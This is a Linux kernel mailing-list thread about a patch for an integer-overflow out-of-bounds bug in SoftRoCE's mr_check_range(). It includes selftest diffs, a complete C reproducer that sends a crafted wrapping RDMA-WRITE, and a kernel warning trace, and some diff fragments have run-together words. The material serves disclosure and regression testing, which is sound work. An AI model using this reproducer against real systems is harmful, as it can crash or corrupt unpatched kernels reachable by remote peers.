+ qa.send_cq = cq; qa.recv_cq = cq; qa.qp_type =IBV_QPT_RC; + qa.cap.max_send_wr = 4; qa.cap.max_recv_wr = 4;
+ qa.cap.max_send_sge = 2; qa.cap.max_recv_sge = 2;
+ if (rdma_create_qp(id, pd, &qa)) {perror("create_qp"); return 1; } +
+ structrdma_conn_paramp = {0};
+ p.initiator_depth = 1; p.responder_resources = 1; p.retry_count = 3;
+ if (rdma_connect(id, &p)) {perror("connect"); return 1; } + if (wait_ev(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) return 1;tools/testing/selftests/rdma/rxe_mr_overflow.c new file +8
-0+ + struct mr_info info = {0}; + if (ev->param.conn.private_data_len >= (int)sizeof(info)) + memcpy(&info, ev->param.conn.private_data, sizeof(info)); + rdma_ack_cm_event(ev); + + /* The malicious RDMA-WRITE: remote_addr makes iova+length wrap. */ + struct ibv_sge sge = { .addr = (uintptr_t)buf, .length = WR_LEN,.lkey =
mr->lkey};
+ structibv_send_wrwr = {0}, *bad;
+ wr.wr_id =0xdead;
+ wr.opcode =IBV_WR_RDMA_WRITE;
+ wr.send_flags =IBV_SEND_SIGNALED;
+ wr.sg_list = &sge;
+ wr.num_sge = 1;
+ wr.wr.rdma.remote_addr =BAD_ADDR;
+ wr.wr.rdma.rkey = info.rkey;
+ printf("[client] post RDMA-WRITE remote_addr=%#llx len=%d rkey=%#x\n",
+ (unsigned long long)BAD_ADDR,WR_LEN, info.rkey); + fflush(stdout);
+ibv_post_send(id->qp, &wr, &bad);tools/testing/selftests/rdma/rxe_mr_overflow.c new file +24
-1+ + struct ibv_wc wc; + int n, tries = 5000; + while (tries-- > 0 && (n = ibv_poll_cq(cq, 1, &wc)) == 0) + usleep(1000); + if (n > 0) + printf("[client] completion status=%d (%s)\n", + wc.status, ibv_wc_status_str(wc.status)); + else + printf("[client] no completion (responder likely crashed)\n"); + sleep(2); + return 0; +} + +int main (int argc,char **argv) +{ + if (argc == 3) /* server <ip> <port> */ + return run_server(argv[1], atoi(argv[2])); + if (argc == 4 && !strcmp(argv[1], "-c")) /* -c <ip> <port> */ + return run_client(argv[2], atoi(argv[3])); + fprintf(stderr, "Usage:\n server: %s <ip> <port>\n client: %s -c <ip> <port>\n", + argv[0], argv[0]); + return 1; +}tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +4
-0@@ -0,0 +1,132 @@ +#!/bin/bash +# SPDX-License-Identifier: GPL-2.0 +# +# Regression test for the mr_check_range() iova overflow in SoftRoCE(rxe).
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +2
-0+# +# A remote peer can craft an RDMA-WRITE whose RETH makes iova +length wrap
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +5
-0+# to 0, bypassing the old +# +# if (iova + length > mr->ibmr.iova + mr->ibmr.length) +# +# range check in mr_check_range(). The responder then derives a hugepage
+# index inrxe_mr_iova_to_index()(only WARN_ON-guarded) and dereferences
+# mr->page_info[huge] -> out-of-bounds read/write / kernel oops, triggerabletools/testing/selftests/rdma/rxe_mr_overflow.sh new file +9
-0+# by an unauthenticated remote peer. +# +# Fixed by rewriting the check in overflow-safe form: +# +# if (iova < mr->ibmr.iova || +# length > mr->ibmr.length || +# iova - mr->ibmr.iova > mr->ibmr.length - length) +# +# Topology: a veth pair across a network namespace, one rxe deviceon each
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +2
-0+# end. The server (ns) registers a USER MR and accepts an RDMA_CM +# connection, passing its rkey/iova in the private data. The client(host)
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +3
-0+# posts one RDMA-WRITE with remote_addr = 0xfffffffffffffff8, len = 8. +# +# - Patched kernel: PASS (mr_check_range() rejects the craftediova;
+# the client completion isIBV_WC_REM_ACCESS_ERR;tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +2
-0+# no kernel warning/oops in dmesg) +# - Unpatched kernel: FAIL (WARN_ON in rxe_mr_iova_to_index
Quoted 8 lines
tools/testing/selftests/rdma/rxe_mr_overflow.sh
Quoted 3 lines
followed by
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +2
-0+# an OOB page fault / oops in rxe_mr_copy) +Thanks a lot. When I run rdma selftests. I got the following:
"
# Warning: filerxe_mr_overflow.shis not executable "
You need to makerxe_mr_overflow.shexecutable.
After this testcase is run, please remove this bin file rxe_mr_overflow in tools/testing/selftests/rdma.
Thanks a lot.
Zhu Yanjun
Quoted 119 lines
And please also check and try to fix some warnings from sashiko.
Thanks a lot.
Zhu YanjunQuoted 112 lines
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +13
-0+NS="rxe_mrovf" +VETH_NS="vmo-a" +VETH_HOST="vmo-b" +IP_NS="1.1.1.1" +IP_HOST="1.1.1.2" +PORT=4792 +BIN="$(dirname "$(readlink -f "$0")")/rxe_mr_overflow" + +source "$(dirname "$0")/../kselftest/ktap_helpers.sh" + +SRV= + +# Remove the topology this script creates. Idempotent: safe to calleven when
+# some of the resources no longer exist (e.g. partial setup, prior abort).tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +10
-0+rxe_teardown() { + rdma link del rxe1 2>/dev/null + ip netns exec "$NS" rdma link del rxe0 2>/dev/null + ip link delete "$VETH_HOST" 2>/dev/null + ip netns del "$NS" 2>/dev/null +} + +cleanup() { + trap '' INT TERM EXIT # guard against re-entry + # Kill the server first so the client does not block on a deadpeer.
+ [ -n "$SRV" ] && kill "$SRV" 2>/dev/null
+ wait "$SRV" 2>/dev/null
+rxe_teardown
+ modprobe -rrdma_rxe2>/dev/nulltools/testing/selftests/rdma/rxe_mr_overflow.sh new file +5
-0+} +# Cover normal exit, Ctrl+C (SIGINT) and kill (SIGTERM) alike. +trap cleanup INT TERM EXIT + +# Tear down any leftover topology from a previous aborted run(SIGINT, kill
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +18
-0+# -9, guest crash, ...) so this script is always re-runnable instead of +# failing on "RTNETLINK answers: File exists". +rxe_teardown + +# --- Prerequisites --- +if [ "$EUID" -ne 0 ]; then + ktap_print_header + ktap_skip_all "needs root" + exit "$KSFT_SKIP" +fi +if ! modinfo rdma_rxe >/dev/null 2>&1; then + ktap_print_header + ktap_skip_all "rdma_rxe module not found" + exit "$KSFT_SKIP" +fi +if [ ! -x "$BIN" ]; then + ktap_print_header + ktap_skip_all "$BIN not built (needs libibverbs-dev /librdmacm-dev)"
+ exit "$KSFT_SKIP"tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +29
-1+fi + +modprobe rdma_rxe >/dev/null 2>&1 + +# --- Topology: veth pair across a netns, one rxe device on each end --- +ip netns add "$NS" +ip link add "$VETH_NS" type veth peer name "$VETH_HOST" +ip link set "$VETH_NS" netns "$NS" + +ip netns exec "$NS" ip addr add "$IP_NS/24" dev "$VETH_NS" +ip netns exec "$NS" ip link set "$VETH_NS" up +ip netns exec "$NS" ip link set lo up +ip addr add "$IP_HOST/24" dev "$VETH_HOST" +ip link set "$VETH_HOST" up + +ip netns exec "$NS" rdma link add rxe0 type rxe netdev "$VETH_NS" +rdma link add rxe1 type rxe netdev "$VETH_HOST" + +if ! ping -c 2 -W 1 "$IP_NS" >/dev/null 2>&1; then + ktap_print_header + ktap_skip_all "no connectivity between host and netns" + exit "$KSFT_SKIP" +fi + +# Only look at warnings produced by this run. +dmesg -C >/dev/null 2>&1 + +# --- Run: server in the netns, client on the host --- +# On an unpatched kernel the crafted WRITE can wedge the responder;wrap both
+# sides intimeout()so the script always reaches a verdict and runs cleanuptools/testing/selftests/rdma/rxe_mr_overflow.sh new file +5
-0+# instead of hanging on a stuck peer. +ktap_print_header +ktap_set_plan 1 + +ip netns exec "$NS" timeout 30 "$BIN" "$IP_NS" "$PORT" >/dev/null2>&1 &
tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +6
-0+SRV=$! +sleep 2 +timeout 30 "$BIN" -c "$IP_NS" "$PORT" >/dev/null 2>&1 +wait "$SRV" 2>/dev/null + +# --- Verdict: any rxe MR-range warning / OOB means the kernel isunpatched ---
+if dmesg 2>/dev/null | grep -qE "rxe_mr_iova_to_index|mr_check_range|BUG:.*rxe_mr_copy|KASAN:.*rxe_mr"; then +ktap_test_fail"mr_check_range()iova overflow (UNPATCHED):
OOB/WARN in dmesg"tools/testing/selftests/rdma/rxe_mr_overflow.sh new file +5
-0+else + ktap_test_pass "mr_check_range() rejected crafted iova (patched)" +fi + +ktap_finished
Signature · 2 lines
Best Regards, Yanjun.Zhu
Re: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Quoted 9 lines · Zhu Yanjun
Quoted 6 lines
Thanks a lot. When I run rdma selftests. I got the following:
"
# Warning: filerxe_mr_overflow.shis not executable "
You need to makerxe_mr_overflow.shexecutable.After this testcase is run, please remove this bin file
rxe_mr_overflowintools/testing/selftests/rdma.Thanks a lot.
Hi Yanjun,
Thank you for your reply.
Regarding the selftest patch, my initial thought was that the selftest does not need to cover this particular issue separately, which is why I added the DO-NOT-MERGE tag.
However, after reading your feedback, I would like to clarify your suggestion: do you mean that I should integrate the attached rxe_mr_overflow.c into the selftest suite? Or is there a different way you would recommend? If you fell OK, I would prefer to drop this selftest patch entirely.
Please let me know your preferred approach. I'm happy to adjust it. Thanks again for your guidance!
Best regards,
Gang
Quoted 3 lines
Zhu Yanjun
Re: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Quoted 19 lines · 在 2026/8/2 18:49, [email protected] 写道:
Quoted 9 lines · Zhu Yanjun
Quoted 6 lines
Thanks a lot. When I run rdma selftests. I got the following:
"
# Warning: filerxe_mr_overflow.shis not executable "
You need to makerxe_mr_overflow.shexecutable.After this testcase is run, please remove this bin file
rxe_mr_overflowintools/testing/selftests/rdma.Thanks a lot.
Hi Yanjun,
Thank you for your reply.
Regarding the selftest patch, my initial thought was that the selftest does not need to cover this particular issue separately, which is why I added the DO-NOT-MERGE tag.
Quoted 7 lines
However, after reading your feedback, I would like to clarify your suggestion: do you mean that I should integrate the attached
rxe_mr_overflow.cinto the selftest suite? Or is there a different way you would recommend? If you fell OK, I would prefer to drop this selftest patch entirely.Please let me know your preferred approach. I'm happy to adjust it. Thanks again for your guidance!
Best regards,
Thank you for the clarification.
I agree that we can drop the selftest patch. My original suggestion was mainly to make sure we have proper coverage for this issue, but after considering your explanation, I think adding a standalone selftest for this particular case may not be necessary.
The bug fix itself is the important part, and keeping the selftest out will also avoid adding a test case that may not provide much long-term value.
Please feel free to remove the selftest patch and keep the fix patch only.
Thanks again for your work and for discussing this with me.
Best regards,
Zhu Yanjun
Quoted 4 lines
Gang
Quoted 2 lines
Zhu Yanjun
Signature · 2 lines
Best Regards, Yanjun.Zhu
Re: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Quoted 5 lines
Thank you for the clarification.
I agree that we can drop the selftest patch. My original suggestion was mainly to make sure we have proper coverage for this issue, but after considering your explanation, I think adding a standalone selftest for this particular case may not be necessary.
The bug fix itself is the important part, and keeping the selftest out will also avoid adding a test case that may not provide much long-term value.
Hi Yanjun,
Thank you for your feedback.
No offense at all.
Regarding Patch 1 (the actual fix), I noticed that it hasn't received a Reviewed-by or any further comments yet. As a newcomer to the RDMA community, I just want to make sure I'm following the right process. Should I proactively send a v2 with only the fix (now that the selftest is removed), or is it preferable to wait for more reviews on the current version before resending?
Please don't take this as a nudge — I'm genuinely asking because I want to avoid missing any step that I should be taking on my side. I'm happy to wait if that's the usual practice.
Thanks
Gang
Zhu Yanjun
Reviewed-byRe: [PATCH net 2/2] DO-NOT-MERGE: selftest: add rxe mr_check_range() overflow reproducer
Quoted 17 lines · 在 2026/8/5 0:47, [email protected] 写道:
Quoted 5 lines
Thank you for the clarification.
I agree that we can drop the selftest patch. My original suggestion was mainly to make sure we have proper coverage for this issue, but after considering your explanation, I think adding a standalone selftest for this particular case may not be necessary.
The bug fix itself is the important part, and keeping the selftest out will also avoid adding a test case that may not provide much long-term value.
Hi Yanjun,
Thank you for your feedback.
No offense at all.
Regarding Patch 1 (the actual fix), I noticed that it hasn't received a Reviewed-by or any further comments yet. As a newcomer to the RDMA community, I just want to make sure I'm following the right process. Should I proactively send a v2 with only the fix (now that the selftest is removed), or is it preferable to wait for more reviews on the current version before resending?
Quoted 3 lines
Please don't take this as a nudge — I'm genuinely asking because I want to avoid missing any step that I should be taking on my side. I'm happy to wait if that's the usual practice.
Hi Gang,
I think it's fine to send a v2 with only the fix. There's no need to include the selftest in this series anymore.
If you'd like, you can also add the following since I have reviewed this commit and made tests in my local host. It can pass my local testcases.
Thanks,
Zhu Yanjun
Quoted 3 lines
Thanks
Gang
Signature · 2 lines
Best Regards, Yanjun.Zhu
Quoted 9 lines · Gang Yan
From: Gang Yan <[email protected]>
Hi, Maintainers
I've recently started learning RDMA, using soft-RoCE (rxe) as my study platform. While pair-programming with an AI assistant during this learning, it flagged an integer overflow in
mr_check_range(). I dug in, stood up a small reproducer, and -- believing the issue is real and worth fixing -- put together this small series.
Do you have a small reproducer for this issue? If so, could you please share it on the RDMA mailing list?
I’d like to use it to reproduce the problem and confirm that this commit fixes the reported issue.
Thanks a lot.
Zhu Yanjun
Quoted 18 lines
Thanks
GangGang Yan (2):
RDMA/rxe: Fix integer overflow inmr_check_range()leading to OOB
access
DO-NOT-MERGE: selftest: add rxemr_check_range()overflow reproducerdrivers/infiniband/sw/rxe/rxe_mr.c | 3 +- tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++ .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++ 5 files changed, 330 insertions(+), 2 deletions(-)create mode 100644
tools/testing/selftests/rdma/rxe_mr_overflow.ccreate mode 100644tools/testing/selftests/rdma/rxe_mr_overflow.sh
Signature · 2 lines
Best Regards, Yanjun.Zhu
Quoted 8 lines · Zhu Yanjun
Quoted 5 lines · Gang Yan
From: Gang Yan <[email protected]>
Hi, Maintainers
Quoted 7 lines
Quoted 6 lines
I've recently started learning RDMA, using soft-RoCE (rxe) as my study platform. While pair-programming with an AI assistant during this learning, it flagged an integer overflow in
mr_check_range(). I dug in, stood up a small reproducer, and -- believing the issue is real and worth fixing -- put together this small series.Do you have a small reproducer for this issue? If so, could you please share it on the RDMA mailing list?
Hi,
Thanks for your review. Here is a small reproducer (attached rxe_overflow_repro.c). I put it together quickly with the help of an Claude Code, as I'm still quite new to RDMA.
Idea: the client posts
the client posts one RDMA-Write whose remote_addr
(0xfffffffffffffff8, len 8) makes iova + length wrap to 0, bypassing the old mr_check_range() comparison; the responder then derives an out-of-bounds page index in rxe_mr_iova_to_index() (the WARN_ON) and reaches mr->page_info[] OOB.
Build & run (as root):
sudo yum install -y libibverbs-devel librdmacm-devel
gcc -O2 -o repro rxe_overflow_repro.c -libverbs -lrdmacm
sudo modprobe rdma_rxe
sudo ip link add dummy0 type dummy
sudo ip addr add 192.168.172.1/24 dev dummy0 && sudo ip link set dummy0 up sudo ip link set dummy0 up
sudo rdma link add rxe0 type rxe netdev dummy0
sudo ./repro 192.168.172.1
and then check the dmesg:
[ 136.830844] ------------[ cut here ]------------ [ 136.830848] WARNING: drivers/infiniband/sw/rxe/rxe_mr.c:99 at rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe], CPU#188: kworker/u957:0/1368 [ 136.830870] Modules linked in: rdma_ucm ib_uverbs ib_uverbs_support rdma_cm iw_cm ib_cm dummy rdma_rxe ib_core ip6_udp_tunnel udp_tunnel joydev uinput snd_seq_dummy snd_hrtimer rfkill nf_conntrack_netbios_ns nf_conntrack_broadcast nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables sunrpc qrtr snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_intel_dspcfg snd_intel_sdw_acpi snd_hwdep intel_rapl_msr snd_seq intel_rapl_common snd_seq_device snd_pcm virtio_balloon snd_timer snd i2c_piix4 soundcore pcspkr i2c_smbus zram lz4hc_compress vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock qxl serio_raw drm_exec drm_ttm_helper e1000 ttm ata_generic pata_acpi i2c_dev qemu_fw_cfg virtiofs fuse [ 136.830928] CPU: 188 UID: 0 PID: 1368 Comm: kworker/u957:0 Not tainted 7.2.0-rc5+ #1 PREEMPT(lazy) [ 136.830931] Hardware name: Red Hat KVM, BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 136.830935] Workqueue: rxe_wq do_work [rdma_rxe] [ 136.830944] RIP: 0010:rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe] [ 136.830953] Code: 48 83 c4 28 e9 f9 1d 79 d2 48 8b 4f 68 48 23 8f 48 01 00 00 48 29 c8 48 89 c2 48 c1 ea 0c 48 63 c2 41 3b 90 58 01 00 00 72 d6 <0f> 0b 48 83 c4 28 e9 cd 1d 79 d2 66 90 66 66 2e 0f 1f 84 00 00 00 [ 136.830954] RSP: 0018:ffffd0c5833c7d38 EFLAGS: 00010286 [ 136.830957] RAX: ffffffffffff332d RBX: 0000000000000008 RCX: 000000000000000c [ 136.830958] RDX: 00000000ffff332d RSI: 000000000000ccd2 RDI: ffff8d8ddc8b7e00 [ 136.830960] RBP: fffffffffffffff8 R08: ffff8d8ddc8b7e00 R09: 000000000000000c [ 136.830961] R10: 0000000000000008 R11: ffff8d8d0ab96e56 R12: ffff8d8ddc8b7e00 [ 136.830962] R13: ffff8d8d0ab96e56 R14: 0000000000000286 R15: ffff8d8cd1a80428 [ 136.830966] FS: 0000000000000000(0000) GS:ffff8d9bcc89a000(0000) knlGS:0000000000000000 [ 136.830968] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 136.830969] CR2: 000000000ccd39b8 CR3: 00000001061fe000 CR4: 0000000000350ef0 [ 136.830973] Call Trace: [ 136.830975] <TASK> [ 136.830978] ? rxe_pool_get_index+0x4b/0x70 [rdma_rxe] [ 136.830986] rxe_mr_copy_xarray+0xb4/0x170 [rdma_rxe] [ 136.830994] execute+0x27e/0x320 [rdma_rxe] [ 136.831002] rxe_receiver+0x4f9/0xce0 [rdma_rxe] [ 136.831009] ? __pfx_rxe_receiver+0x10/0x10 [rdma_rxe] [ 136.831015] do_task+0x70/0x220 [rdma_rxe] [ 136.831023] process_one_work+0x19e/0x370 [ 136.831028] worker_thread+0x1a6/0x310 [ 136.831030] ? __pfx_worker_thread+0x10/0x10 [ 136.831032] kthread+0xe4/0x120 [ 136.831035] ? __pfx_kthread+0x10/0x10 [ 136.831038] ret_from_fork+0x1a1/0x270 [ 136.831058] ? __pfx_kthread+0x10/0x10 [ 136.831060] ret_from_fork_asm+0x1a/0x30 [ 136.831066] </TASK> [ 136.831067] ---[ end trace 0000000000000000 ]--- [ 136.831077] rxe0: qp#17 make_send_cqe: non-flush error status = 10 [ 207.516233] dummy0 speed is unknown, defaulting to 1000
I tried it on a Fedora guest running 7.2.0-rc5: it reliably reproduces the WARNING at rxe_mr_iova_to_index() (i.e. the responder accepting an out-of-bounds index).
I'm still learning the RDMA stack, so my understanding of some of the details may not be fully thorough — apologies if anything above is unclear, and I'm happy to correct or expand on whatever is needed.
Thanks
Gang
Quoted 25 lines
I’d like to use it to reproduce the problem and confirm that this commit fixes the reported issue.
Thanks a lot.
Zhu Yanjun
Quoted 9 lines
Thanks
GangGang Yan (2):
RDMA/rxe: Fix integer overflow inmr_check_range()leading to OOB access
DO-NOT-MERGE: selftest: add rxemr_check_range()overflow reproducerQuoted 9 lines
drivers/infiniband/sw/rxe/rxe_mr.c | 3 +- tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++ .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++ 5 files changed, 330 insertions(+), 2 deletions(-) create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.c create mode 100644 tools/testing/selftests/rdma/rxe_mr_overflow.sh
Quoted 3 lines
-- Best Regards,
Yanjun.Zhu
// SPDX-License-Identifier: GPL-2.0
/*
* Minimal reproducer for the rxe mr_check_range() iova overflow (OOB). *
* One binary: fork() into a server (registers a USER MR) and a client that
* posts one RDMA-Write whose remote_addr makes iova + length wrap to 0,
* bypassing the old mr_check_range() check and OOB-ing in rxe_mr_copy(). *
* Prereqs (Ubuntu/Debian; analogous on Fedora):
* sudo apt install -y libibverbs-dev librdmacm-dev gcc * # kernel needs CONFIG_RDMA_RXE, CONFIG_INFINIBAND, * # CONFIG_INFINIBAND_USER_ACCESS (=m on distro generic kernels) * * Build: * gcc -O2 -o repro rxe_overflow_repro.c -libverbs -lrdmacm * Run (as root): * modprobe rdma_rxe * ip link add dummy0 type dummy * ip addr add 192.168.172.1/24 dev dummy0 && ip link set dummy0 up * rdma link add rxe0 type rxe netdev dummy0 * ./repro 192.168.172.1
*
* Verdict: the client only triggers the bug; read the kernel log:
* grep rxe_mr_iova_to_index /dev/kmsg # present => vulnerable
* Unpatched kernel shows:
* WARNING: ... at rxe_mr_iova_to_index+... [rdma_rxe]
* Oops: ... rxe_mr_copy+... [rdma_rxe]
* Patched kernel: mr_check_range() rejects the iova, log stays clean. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <infiniband/verbs.h>
#include <rdma/rdma_cma.h>
#define PORT 7799
#define BAD_ADDR 0xfffffffffffffff8ULL /* iova + 8 wraps to 0 */
#define WR_LEN 8
#define MR_LEN 4096
struct mr_info { uint32_t rkey; uint32_t pad; uint64_t iova; } __attribute__((packed));
static int wait_event(struct rdma_event_channel *ec, struct rdma_cm_event **ev,
enum rdma_cm_event_type want)
{
while (rdma_get_cm_event(ec, ev) == 0) {
if ((*ev)->event != want) {
fprintf(stderr, "cm: got %s, want %s\n",
rdma_event_str((*ev)->event), rdma_event_str(want));
rdma_ack_cm_event(*ev);
return -1;
}
return 0;
}
perror("rdma_get_cm_event");
return -1;
}/* Server: register a USER MR, accept one connection, hand over rkey/iova. */ static int run_server(const char *addr, int ready_fd)
{
struct rdma_event_channel *ec = rdma_create_event_channel();
struct rdma_cm_id *lid = NULL, *id = NULL;
struct rdma_cm_event *ev;
struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_mr *mr; void *buf;
struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(PORT) };
int rc = 0;
if (!ec || rdma_create_id(ec, &lid, NULL, RDMA_PS_TCP)) { perror("cm"); close(ready_fd); return 1; }
if (!inet_pton(AF_INET, addr, &sin.sin_addr)) { fprintf(stderr, "bad addr\n"); close(ready_fd); return 1; }
if (rdma_bind_addr(lid, (struct sockaddr *)&sin) || rdma_listen(lid, 1)) {
perror("bind/listen"); /* let the client stop waiting */
close(ready_fd);
return 1;
}
if (write(ready_fd, "x", 1) < 0)
perror("notify client");
close(ready_fd);
if (wait_event(ec, &ev, RDMA_CM_EVENT_CONNECT_REQUEST)) return 1;
id = ev->id;
pd = ibv_alloc_pd(id->verbs);
cq = ibv_create_cq(id->verbs, 4, NULL, NULL, 0);
buf = calloc(1, MR_LEN);
mr = ibv_reg_mr(pd, buf, MR_LEN,
IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE);
if (!pd || !cq || !mr) { perror("pd/cq/mr"); rc = 1; goto ack; }
struct ibv_qp_init_attr qa = {
.send_cq = cq, .recv_cq = cq, .qp_type = IBV_QPT_RC,
.cap = { .max_send_wr = 4, .max_recv_wr = 4, .max_send_sge = 2, .max_recv_sge = 2 },
};
if (rdma_create_qp(id, pd, &qa)) { perror("create_qp"); rc = 1; goto ack; }
struct mr_info info = { .rkey = mr->rkey, .iova = (uint64_t)(uintptr_t)buf };
struct rdma_conn_param p = {
.private_data = &info, .private_data_len = sizeof(info),
.initiator_depth = 1, .responder_resources = 1,
};
if (rdma_accept(id, &p)) { perror("accept"); rc = 1; }
ack:
rdma_ack_cm_event(ev);
sleep(3); /* let the client finish its (malicious) operation */
return rc;
}/* Client: connect, fetch rkey, post one crafted RDMA-Write. */ static int run_client(const char *addr, int ready_fd)
{
struct rdma_event_channel *ec = rdma_create_event_channel();
struct rdma_cm_id *id = NULL;
struct rdma_cm_event *ev;
struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_mr *mr; void *buf;
struct ibv_sge sge; struct ibv_send_wr wr, *bad;
struct sockaddr_in sin = { .sin_family = AF_INET, .sin_port = htons(PORT) };
char tmp;
if (!ec || rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { perror("cm"); return 1; }
if (!inet_pton(AF_INET, addr, &sin.sin_addr)) { fprintf(stderr, "bad addr\n"); return 1; }
if (read(ready_fd, &tmp, 1) < 0) { perror("wait server"); close(ready_fd); return 1; }
close(ready_fd); /* server is listening (or gave up; connect will fail then) */
if (rdma_resolve_addr(id, NULL, (struct sockaddr *)&sin, 5000)) { perror("resolve_addr"); return 1; }
if (wait_event(ec, &ev, RDMA_CM_EVENT_ADDR_RESOLVED))
return 1;
rdma_ack_cm_event(ev);
if (rdma_resolve_route(id, 5000)) { perror("resolve_route"); return 1; }
if (wait_event(ec, &ev, RDMA_CM_EVENT_ROUTE_RESOLVED))
return 1;
rdma_ack_cm_event(ev);
pd = ibv_alloc_pd(id->verbs);
cq = ibv_create_cq(id->verbs, 4, NULL, NULL, 0);
buf = calloc(1, MR_LEN);
mr = ibv_reg_mr(pd, buf, MR_LEN, IBV_ACCESS_LOCAL_WRITE);
struct ibv_qp_init_attr qa = {
.send_cq = cq, .recv_cq = cq, .qp_type = IBV_QPT_RC,
.cap = { .max_send_wr = 4, .max_recv_wr = 4, .max_send_sge = 2, .max_recv_sge = 2 },
};
if (!pd || !cq || !mr || rdma_create_qp(id, pd, &qa)) { perror("setup"); return 1; }
struct rdma_conn_param p = { .initiator_depth = 1, .responder_resources = 1, .retry_count = 3 };
if (rdma_connect(id, &p) || wait_event(ec, &ev, RDMA_CM_EVENT_ESTABLISHED)) { perror("connect"); return 1; }
struct mr_info info = {0};
if (ev->param.conn.private_data_len >= (int)sizeof(info))
memcpy(&info, ev->param.conn.private_data, sizeof(info));
rdma_ack_cm_event(ev);
sge = (struct ibv_sge){ .addr = (uintptr_t)buf, .length = WR_LEN, .lkey = mr->lkey };
memset(&wr, 0, sizeof(wr));
wr.wr_id = 0xdead;
wr.opcode = IBV_WR_RDMA_WRITE;
wr.send_flags = IBV_SEND_SIGNALED;
wr.sg_list = &sge;
wr.num_sge = 1;
wr.wr.rdma.remote_addr = BAD_ADDR; /* iova + 8 wraps to 0 */
wr.wr.rdma.rkey = info.rkey;
ibv_post_send(id->qp, &wr, &bad);
printf("[client] posted RDMA-Write with wrapping iova; now check dmesg:\n");
printf(" grep rxe_mr_iova_to_index /dev/kmsg # present => vulnerable\n");
sleep(2); /* let the responder process the WRITE and hit the OOB */
return 0;
}int main(int argc, char **argv)
{
const char *addr = argc > 1 ? argv[1] : "192.168.172.1";
int syncfd[2], rc = 1;
if (pipe(syncfd)) { perror("pipe"); return 1; }
pid_t pid = fork();
if (pid < 0) { perror("fork"); return 1; }
if (pid == 0) { /* child = client */
close(syncfd[1]);
_exit(run_client(addr, syncfd[0]));
}
close(syncfd[0]); /* parent = server */
rc = run_server(addr, syncfd[1]);
int st; wait(&st);
if (WIFEXITED(st)) rc = WEXITSTATUS(st);
return rc;
}Quoted 81 lines · 在 2026/8/1 2:27, [email protected] 写道:
Quoted 8 lines · Zhu Yanjun
Quoted 5 lines · Gang Yan
From: Gang Yan <[email protected]>
Hi, Maintainers
Quoted 7 lines
Quoted 6 lines
I've recently started learning RDMA, using soft-RoCE (rxe) as my study platform. While pair-programming with an AI assistant during this learning, it flagged an integer overflow in
mr_check_range(). I dug in, stood up a small reproducer, and -- believing the issue is real and worth fixing -- put together this small series.Do you have a small reproducer for this issue? If so, could you please share it on the RDMA mailing list?
Hi,
Thanks for your review. Here is a small reproducer (attached
rxe_overflow_repro.c). I put it together quickly with the help of an Claude Code, as I'm still quite new to RDMA.Idea: the client posts
the client posts one RDMA-Write whoseremote_addr
(0xfffffffffffffff8, len 8) makes iova + length wrap to 0, bypassing the oldmr_check_range()comparison; the responder then derives an out-of-bounds page index inrxe_mr_iova_to_index()(theWARN_ON) and reaches mr->page_info[] OOB.Build & run (as root):
sudo yum install -y libibverbs-devel librdmacm-devel
gcc -O2 -o reprorxe_overflow_repro.c-libverbs -lrdmacm
sudo modproberdma_rxe
sudo ip link add dummy0 type dummy
sudo ip addr add 192.168.172.1/24 dev dummy0 && sudo ip link set dummy0 up sudo ip link set dummy0 up
sudo rdma link add rxe0 type rxe netdev dummy0
sudo ./repro 192.168.172.1and then check the dmesg:
